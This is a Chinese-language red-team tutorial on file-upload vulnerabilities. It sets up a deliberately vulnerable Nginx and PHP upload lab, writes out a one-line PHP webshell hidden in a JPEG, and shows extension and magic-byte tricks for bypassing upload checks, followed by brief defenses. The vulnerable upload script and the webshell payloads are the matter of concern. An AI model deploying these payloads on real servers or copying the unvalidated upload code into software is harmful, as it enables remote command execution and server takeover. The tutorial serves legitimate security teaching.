0x01 攻击板块:文件上传漏洞的真实渗透案例
在一次针对某互联网公司的授权渗透测试中,我们发现了一个经典的文件上传漏洞。目标网站允许用户上传图片文件进行头像更换,但没有严格验证文件类型。这种漏洞极为常见,假如攻击者能够上传恶意脚本并通过服务器执行,就能获取服务器权限,进而进行更深入的攻击。
我们首先进行了信息收集,分析了上传功能的响应以及后端的处理方式。通过仔细观察,我们发现了服务器并没有对上传文件做严格的内容检查。这意味着我们可以上传一个伪装成图片的恶意脚本文件,并在服务器端执行。
攻击者的实验室:搭建文件上传漏洞的环境
为了复现上述的渗透过程,我们可以自行搭建一个简单的测试环境。使用的技术栈为Nginx + PHP,模拟一个有漏洞的文件上传服务。
环境搭建
首先,我们需要设置一个基本的Nginx服务器,并在其中配置PHP支持。
<pre><code class="language-shell"># 安装Nginx和PHP sudo apt update sudo apt install nginx php-fpm

配置Nginx以支持PHP
cat << EOF | sudo tee /etc/nginx/sites-available/upload_vuln server { listen 80; server_name localhost;
location / { root /var/www/upload_vuln; index index.php index.html index.htm; }
location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; } } EOF
创建测试目录和文件
sudo mkdir -p /var/www/upload_vuln echo "<?php echo 'Upload page'; ?>" | sudo tee /var/www/upload_vuln/index.php
启动服务
sudo ln -s /etc/nginx/sites-available/upload_vuln /etc/nginx/sites-enabled/ sudo systemctl restart nginx</code></pre>
上传功能实现
我们需要创建一个简单的PHP脚本,处理文件上传请求。
<pre><code class="language-php"><?php if ($_SERVER['REQUEST_METHOD'] === 'POST') { $file = $_FILES['file']; $upload_dir = '/var/www/upload_vuln/uploads/';
// 简单的文件上传逻辑,没有验证 move_uploaded_file($file['tmp_name'], $upload_dir . basename($file['name'])); echo 'File uploaded successfully!'; } else { echo '<form method="POST" enctype="multipart/form-data"> <input type="file" name="file" /> <button type="submit">Upload</button> </form>'; } ?></code></pre>
该代码提供了一个简单的上传表单,并将文件存储到服务器指定目录中。
Payload构造的艺术:实现恶意代码上传
为了利用文件上传漏洞,我们需要构造一个有效的Payload。首先,我们需要伪装我们的恶意代码为图片格式,以绕过粗略的文件检查。
构造恶意文件
攻击者可以使用一个简单的PHP WebShell作为Payload。例如,添加一个后门的PHP脚本至图片中,并对其进行伪装。
<pre><code class="language-shell"># 创建一个恶意Payload echo "<?php system(\$_GET['cmd']); ?>" > shell.php
将恶意代码伪装为图片
cat shell.php >> image.jpg</code></pre>
在此,shell.php是我们的恶意代码,它将可以通过cmd参数执行任意命令。我们将其追加到一个假的image.jpg文件中。
上传恶意文件并执行
在上传页面中上传构造的image.jpg文件,并通过浏览器访问如下URL:
<pre><code>http://localhost/uploads/image.jpg?cmd=whoami</code></pre>
如果上传成功并能够执行命令,那么我们将在页面上看到服务器执行whoami命令后的返回结果。
绕过审查:玩转文件验证机制

在实战中,目标服务器可能会实施某些机制来检测上传文件。例如,验证文件类型或检查文件内容。我们可以通过多种方式绕过这些检查。
绕过常见的文件类型验证

很多服务器仅通过文件扩展名判断文件类型,攻击者可以通过以下方式绕过:
<pre><code class="language-shell"># 伪造扩展名为图片 mv shell.php shell.jpg
或使用双扩展名技巧
mv shell.php shell.php.jpg</code></pre>
这些方法可以欺骗不认真验证的服务器,让服务器认为上传的是图片文件。
绕过文件内容检测
一些服务器可能使用MIME类型检测文件内容,攻击者可以通过修改文件头来伪装。
<pre><code class="language-shell"># 伪装MIME类型为图片 echo -e "\xFF\xD8\xFF\xE0" > fake_header.jpg cat shell.php >> fake_header.jpg</code></pre>
通过在PHP代码前添加JPEG文件头,我们可以伪装为合法的图片文件。
防御者的盾牌:如何检测与防御
在攻击者的视角下,我们也必须了解如何有效检测与防御文件上传漏洞,以保护我们的系统。
强化文件上传验证
最有效的防御手段是严格的文件类型验证。服务器应该检查文件内容,而不仅仅是扩展名。可以使用以下策略:
- MIME类型验证:通过服务器端脚本或库验证文件的实际MIME类型。
- 内容扫描:使用安全工具扫描文件内容,确保没有恶意代码。
- 文件路径隔离:将上传文件存储在一个与Web目录隔离的路径,避免直接访问。
实时监测与响应
结合现代EDR/AV解决方案,实时监测服务器的行为,识别异常文件上传或执行事件。
红队的心得:文件上传漏洞的个人经验分享
作为一名红队人员,文件上传漏洞总是一个值得关注的目标。以下是几点个人经验:
- 不断创新:随着防御技术的提高,攻击者也必须不断创新Payload和绕过技巧。
- 环境模拟:在测试时模拟目标环境,能更好地理解漏洞成因及实现攻击。
- 持续学习:安全领域变化迅速,保持对新技术的学习和了解非常重要。
这篇文章仅供授权安全测试使用,通过理解文件上传漏洞的攻击与防御,希望能帮助安全研究员更好地保护系统。